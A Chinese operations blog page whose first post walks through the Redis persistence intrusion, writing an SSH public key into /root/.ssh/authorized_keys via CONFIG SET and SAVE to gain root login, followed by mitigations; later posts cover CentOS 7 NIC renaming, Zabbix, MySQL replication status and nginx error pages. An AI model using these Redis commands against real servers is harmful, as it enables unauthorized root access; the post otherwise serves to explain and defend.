nginxs

运维博客

redis的一次持久化入侵

2016/02/19 21:54 于 安全 2

这根据redis持久化可生成文件,而且redis可以指定生成文件的位置和名称的bug下,恰巧你的redis里面只有一个key而且是一个ssh公钥,而且你指定持久化文件名“authorized_keys”生成位置是“/root/.ssh/”,这样那个拥有私钥的人就可以无密钥登录root了

1.生成密钥

[root@saltstack-node2~]# (echo -e "\n\n";cat .ssh/id_rsa.pub;echo "\n\n")
>/tmp/foo.txt
[root@saltstack-node2~]# cat /tmp/foo.txt

ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA0rfmYdQvgw/fmrKMj2nRV5FMucTAlv+J49Yu2MRsC9v0ORkesquGShvM/KuIM0P4yMS/l5/N/AzC3X76QJm3XeckuZdpo7KhZGuWGb76n4LrDf1UekagYW7dmW9f2WXnRrxnhl64N3DOeH9A2mD/mRrNrrJ+yyVUjbG9fM+FzOU8mYf7rqvLzqO2ppHYpPj9T5sR8E4bZpYBCQT9JXlA1N3y48LUGUqE5AuUKYEc6wyJCvPxaPWa8Ss03+zaVyF7ly+dje+3sDF1n8DvwveLaXV8BPfGB5bVG4kEtIhiWmWR+ITnLyzLzle2292+BtgfOrKOopk8TlBIhjVzl1LOJQ==
root@xxx.example.com
\n\n

2.清空redis
清空redis:

127.0.0.1:6379>
FLUSHALL
OK

3.写一个key

[root@saltstack-node2~]# cat /tmp/foo.txt |redis-cli -x set pwn
OK

4.对已知redis进行修改配置

127.0.0.1:6379>
CONFIG set dir /root/.ssh
OK
127.0.0.1:6379>config set dbfilename "authorized_keys"
OK
127.0.0.1:6379>
save
OK
127.0.0.1:6379>
exit

5.可以登录了

[root@saltstack-node2~]# ssh 192.168.81.129
The authenticity of
host '192.168.81.129 (192.168.81.129)' can't be established.
RSA key fingerprint
is 7d:c4:f0:37:1e:ba:da:90:56:8b:fa:ee:df:d0:3f:22.
Are you sure you
want to continue connecting (yes/no)? yes
Warning: Permanently
added '192.168.81.129' (RSA) to the list of known hosts.
Last login: Wed Nov
11 03:18:23 2015 from 192.168.81.1
[root@saltstack-node2~]#

预防措施:
1.不以root或者其它可登录用户启动(用低级权限启动)

2.修改配置增加密码认证
requirepass password

3.绑定内网IP不对外访问
bind 192.168.0.5

4.去除redis里面可进行系统入侵的命令

rename command
FLUSHALL ""
rename command
FLUSHDB ""
rename command
CONFIG
rename command EVAL

微信扫描二维码了解更多 ->

[运维博客]
redis的一次持久化入侵 http://new.nginxs.net/read.php/hello-world/

redis;redis持久化,入

centos7-修改网卡名

2015/12/25 19:00 于 系统 0

微信 微博 豆瓣 人人

1. 首先把/etc/sysconfig/network-scripts/ifcfg-xxxx里面NAME=eth0, DEVICE这个参数可以去掉,也可以配置成eth0

2. 把第一步的配置文件改成ifcfg-eth0

# Generated by parse-kickstart
DEVICE=eth0
IPV6INIT=yes
BOOTPROTO=static
ONBOOT=yes
TYPE=Ethernet
NAME="System eth0"
IPADDR="192.168.0.76"
NETMASK="255.255.255.0"
GATEWAY="192.168.0.1"

3.修改内核参数

        /etc/sysconfig/grub
[root@localhost ~]# cat /etc/sysconfig/grub
GRUB_TIMEOUT=5
GRUB_DEFAULT=saved
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT="console"
GRUB_CMDLINE_LINUX="rd.lvm.lv=centos/root rd.lvm.lv=centos/swap crashkernel=auto rhgb quiet net.ifnames=0 biosdevname=0"
GRUB_DISABLE_RECOVERY="true"

4. 加载参数到内核
执行命令:grub2-mkconfig -o /boot/grub2/grub.cfg

5. 修改设备
文件/etc/udev/rules.d/70-persistent-ipoib.rules 把里面改成eth*

6. 重启系统

微信扫描二维码了解更多 ->

[运维博客]

[运维博客]http://new.nginxs.net/category.php/3/

centos7修改网卡名修改网卡名linux修改网卡名

zabbix的web场景报错"Couldn't resolve proxy name".

1970/01/01 08:00 于 监控 0

微信 微博 豆瓣 人人

“Couldn't resolve proxy name”这个报错可能由一下集中原因引起的:


  1. web场景里面的域名无法DNS解析
    2.在测试zabbix2.4得时候发现一个bug造成同样问题
    浏览器的自动填充一些无效参数会造成web场景无法使用,例如填充无效代理,导致找不到代理,可以换浏览器,
    如果还不可以,就是另一种可能了,就是zabbix的默认代理不为空,而且是无效代理,这样就需要你update掉
    mysql> SELECT name, http_proxy FROM httptest;
    +-----------+--------------- - - - - - - -- -- --- - --- - -- --- ---- --- -- --- --- --+
    | name | http_proxy |
    +-----------+ ------ ---- ------ ----- -------- --- --- -- - -- - --+
    | Home Page | http://[username][password]@]proxy.example.com[port] |
    +-----------+- --- - ----- ----------- ------------ -- - ----- ------ - --- --- -+

UPDATE httptest SET http_proxy='';

微信扫描二维码了解更多 ->

[运维博客]

zabbix的web场景报错Couldn't resolve proxy name

mysql show slave status

1970/01/01 08:00 于 数据分析 0

微信 微博 豆瓣 人人

这里详细介绍一下各个参数意思:

mysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State: #mysql 从库io状态
Master_Host: 192.168.0.116 #mysql 主节点
Master_User: wordpress_slave #从库使用用户
Master_Port: 3306 #主库的端口
Connect_Retry: 60 #连接超时重试间隔
Master_Log_File: mysql-bin.012602 #同步主库的binlog日志
Read_Master_Log_Pos: 19091467 #主库读取到的pos
Relay_Log_File: web-node1-relay-bin.000358 #读取的延时日志文件
Relay_Log_Pos: 114046814 #从库执行到延时日志pos
Relay_Master_Log_File: mysql-bin.012598 #从库执行到延时日志所在的binlog文件
Slave_IO_Running: No #从库的IO进程
Slave_SQL_Running: No #从库的sql执行进程
Replicate_Do_DB: #同步的数据库
Replicate_Ignore_DB: #忽略同步的数据库
Replicate_Do_Table: #同步的表
Replicate_Ignore_Table: #忽略同步的表
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error: 0
Exec_Master_Log_Pos: 114046644
Relay_Log_Space: 1092700446
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: NULL
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 1594
Last_SQL_Error: 0
Replicate_Ignore_Server_Ids:
Master_Server_Id: 633306
Master_UUID: 629ea5e6-93f4-11e4-8cfa-b82a72dd31d0
Master_Info_File: /usr/local/mysql-5.6.21-linux-glibc2.5-x86_64/data/master.info
SQL_Delay: 0
SQL_Remaining_Delay: NULL
Slave_SQL_Running_State:
Master_Retry_Count: 86400
Master_Bind:
Last_IO_Error_Timestamp:
Last_SQL_Error_Timestamp: 160229 21:18:27
Master_SSL_Crl:
Master_SSL_Crlpath:
Retrieved_Gtid_Set: 619ea5e6-93f4-11e4-8cfa-b82a72dd31d0:2271219917-2291736581:2291736708-2292305169
Executed_Gtid_Set: 619ea5e6-93f4-11e4-8cfa-b82a72dd31d0:2271219917-2291736582
Auto_Position: 0
1 row in set (0.00 sec)

微信扫描二维码了解更多 ->

[运维博客]

mysqlshow slave statusshow slave status详情

nginx错误码或错误页面设置

1970/01/01 08:00 于 系统 0

微信 微博 豆瓣 人人

介绍
nginx默认的错误页面可以在http, server, location, if in location四个地方进行定义,就像主页一样灵活

把404的错误页面定义为 test.html,这时候访问会302跳转到当前项目根目录下的 test.html文件
error_page 404 test.html;

error_page 500 502 503 504 /50x.html;

假如你想让客户端的错误请求让nginx返回200就得这么做了,把404定义为200
error_page 404 =200 /test.jpg;

当碰到一些fastcgi/uwsgi/scgi等代理的时候,设置不同 的响应码很重要,例如php报错可以使用下面语法。
error_page 404 = /404.php;

可以处理一些错误的请求进行跳转" http://new.nginxs.net",这个一般会返回“302”跳转

error_page 404 =200 http://new.nginxs.net;

httpcodenginx错误页面nginx错误页面定向

管理